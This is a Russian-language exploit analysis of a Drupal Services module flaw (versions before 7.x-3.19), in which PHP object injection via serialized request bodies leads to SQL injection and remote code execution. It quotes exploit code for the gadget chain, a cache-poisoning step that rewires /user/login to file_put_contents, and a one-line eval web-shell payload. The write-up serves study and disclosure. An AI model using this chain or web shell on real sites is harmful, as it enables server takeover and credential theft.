Автор: Чарльз Фол (Charles Fol)
BRIEF
Уязвимость существует из-за включенной по умолчанию поддержки сериализованных PHP-данных в запросах. Это приводит к атаке типа «внедрение объектов».
EXPLOIT
В прошлом обзоре мы рассматривали уязвимость в REST API WordPress. Теперь поговорим о проблеме в API CMS Drupal. Здесь все гораздо серьезнее — к нам в руки попадает полноценная RCE. В чем причина? Давай разбираться.
Причины
В Drupal в отличие от того же WordPress для реализации REST API нужно устанавливать отдельный модуль Services. После установки можно заглянуть во вкладку настроек модуля и увидеть там галочку, с которой и связана уязвимость.
По умолчанию поддерживаются данные в форматах:
- application/vnd.php.serialized;
- multipart/form-data;
- application/json;
- application/xml.
Если со всякими JSON и XML все ясно, то что же такое vnd.php.serialized
? Это не что иное, как сериализованные данные PHP. И если отправить запрос с Content-Type: application/vnd.php.serialized
, то тело запроса будет передано в unserialize()
.
/modules/servers/rest_server/rest_server.module:
52: function rest_server_request_parsers() {
53: static $parsers = NULL;
54: if (!$parsers) {
55: $parsers = array(
...
58: 'application/vnd.php.serialized' => 'ServicesParserPHP',
/modules/servers/rest_server/includes/ServicesParser.inc:
14: class ServicesParserPHP implements ServicesParserInterface {
15: public function parse(ServicesContextInterface $context) {
16: return unserialize($context->getRequestBody());
17: }
18: }
У нас на руках PHP Object Injection как из учебника. Для успешной эксплуатации осталось просмотреть исходники CMS и поискать нужные гаджеты. Правда, Чарльз уже все сделал за нас, достаточно заглянуть в эксплоит.
SQL Injection
Проследим за процессом авторизации по коду. За эту функцию отвечает метод /user/login
.
/modules/services/resources/user_resource.inc:
003: function _user_resource_definition() {
004: $definition = array(
005: 'user' => array(
...
139: 'actions' => array(
140: 'login' => array(
141: 'help' => 'Login a user for a new session',
142: 'callback' => '_user_resource_login',
...
593: function _user_resource_login($username, $password) {
...
614: $uid = user_authenticate($username, $password);
Модуль Services, в свою очередь, формирует запрос к внутреннему API ядра Drupal, точнее к функции user_authenticate
.
2257: function user_authenticate($name, $password) {
...
2260: $account = user_load_by_name($name);
...
2264: if (user_check_password($password, $account)) {
2265: // Successful authentication.
2266: $uid = $account->uid;
Далее из таблицы выбирается пользователь с именем, переданным в параметре username
. Если он существует, то переданный пароль сравнивается с находящимся в базе.
На этом этапе нас интересует, каким образом отправляются запросы к базе. Для их построения в Drupal есть классы SelectQueryExtender
и DatabaseCondition
. Они обрабатывают передаваемые данные, которые затем отправляются в метод query
.
397: function user_load_by_name($name) {
398: $users = user_load_multiple(array(), array('name' => $name));
290: function user_load_multiple($uids = array(), $conditions = array(), $reset = FALSE) {
291: return entity_load('user', $uids, $conditions, $reset);
8008: function entity_load($entity_type, $ids = FALSE, $conditions = array(), $reset = FALSE) {
...
8012: return entity_get_controller($entity_type)->load($ids, $conditions);
157: public function load($ids = array(), $conditions = array()) {
...
196: $query = $this->buildQuery($ids, $conditions, $revision_id);
197: $queried_entities = $query
198: ->execute()
/includes/database/select.inc:
1272: public function execute() {
...
1280: return $this->connection->query((string) $this, $args, $this->queryOptions);
Обрати внимание, что передается не объект, а запрос в текстовом виде (строка 1280). Для этого в классе реализован магический метод __toString()
, который конвертирует объект в привычный SQL-запрос с параметрами. В итоге он выглядит так:
SELECT base.uid AS uid, base.name AS name,
...
FROM
{users} base
WHERE (base.name = :db_condition_placeholder_0)
API позволяет выполнять подзапросы, если в качестве параметра передается объект, который является экземпляром SelectQueryInterface
.
1652: class DatabaseCondition implements QueryConditionInterface, Countable {
...
1793: public function compile(DatabaseConnection $connection, QueryPlaceholderInterface $queryPlaceholder) {
...
1838: if ($condition['value'] instanceof SelectQueryInterface) {
1839: $condition['value']->compile($connection, $queryPlaceholder);
1840: $placeholders[] = (string) $condition['value'];
1841: $arguments += $condition['value']->arguments();
Инъекция возможна, если объект, который мы передадим в качестве параметра username
, будет удовлетворять трем условиям:
- реализует интерфейс
SelectQueryInterface
; - имеет метод
compile()
; - мы контролируем его строковое представление.
Чарльз нашел два класса, которые соответствуют этим условиям, — SelectQueryExtender
и DatabaseCondition
.
Первый можно использовать как прокси. В эксплоите свойство query
— это экземпляр DatabaseCondition
, поэтому при конвертировании запроса в строку будет выполнен метод __toString()
именно из этого класса. Он и вернет подконтрольную нам строку.
/includes/database/select.inc:
536: class SelectQueryExtender implements SelectQueryInterface {
...
819: public function __toString() {
820: return (string) $this->query;
821: }
Вот как элегантно реализована эксплуатация SQL-инъекции в эксплоите.
046: class DatabaseCondition
...
054: public $stringVersion = null;
...
056: public function __construct($stringVersion=null)
057: {
058: $this->stringVersion = $stringVersion;
...
068: class SelectQueryExtender {
...
072: protected $query = null;
...
078: public function __construct($sql)
079: {
080: $this->query = new DatabaseCondition($sql);
...
102: $query = new SelectQueryExtender($query);
Строка попадает в запрос, и он успешно отрабатывает.
Как видишь, автор добавил вывод хеша пароля администратора в качестве параметра signature_format
.
RCE
Для выполнения произвольного кода в эксплоите используется манипуляция с кешем. Модуль Services кеширует параметры и функции-колбэки для каждого роута, и они выполняются при обращении к этому роуту. Используя объект класса DrupalCacheArray
, мы можем изменить поведение конечной точки API и указать любую функцию PHP для ее обработки.
Другими словами, нам нужно сделать следующее:
- изменить поведение
/user/login
, указавfile_put_contents
в качестве функции-обработчика; - вызвать
/user/login
; - вернуть стандартное поведение.
Воспользуемся освоенной нами SQL-инъекцией и получим данные из кеша, для того чтобы изменить только нужные значения.
034: $endpoint = 'rest_endpoint';
...
084: $cache_id = "services:$endpoint:resources";
085: $sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'";
...
091: $query =
...
094: "ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " .
...
102: $query = new SelectQueryExtender($query);
Затем патчим существующее поведение.
036: $file = [
037: 'filename' => 'dixuSOspsOUU.php',
038: 'data' => '<?php eval(file_get_contents('php://input')); ?>'
039: ];
...
146: class DrupalCacheArray
147: {
...
156: function __construct($storage, $endpoint, $controller, $action) {
...
160: $this->cid = "services:$endpoint:resources";
...
165: $storage[$controller]['actions'][$action] = [
166: 'help' => 'Writes data to a file',
167: # Callback function
168: 'callback' => 'file_put_contents',
...
175: 0 => [
176: 'name' => 'filename',
...
178: 'description' => 'Path to the file',
...
182: 1 => [
183: 'name' => 'data',
...
185: 'description' => 'The data to write',
Все, что осталось, — это сделать запрос на патченный роут. В качестве параметров указываем путь до файла (filename
) и его содержимое (data
). Отправляем и получаем шелл.
Я немного изменил эксплоит Чарльза. Добавил возможность работать через командную строку, а также вывод и сохранение всех данных, которые отправляются и которые возвращаются сервером. Мою версию можно посмотреть тут.
TARGETS
Drupal Services ветки 7.x-3.x до версии 7.x-3.18.
SOLUTION
Уязвимость исправлена в версии модуля 7.x-3.19. Причем, как пишет Чарльз, команде безопасников Drupal хватило сорока минут, чтобы изучить его репорт и предложить патч, который устраняет проблему. Воистину быстрая обратная связь!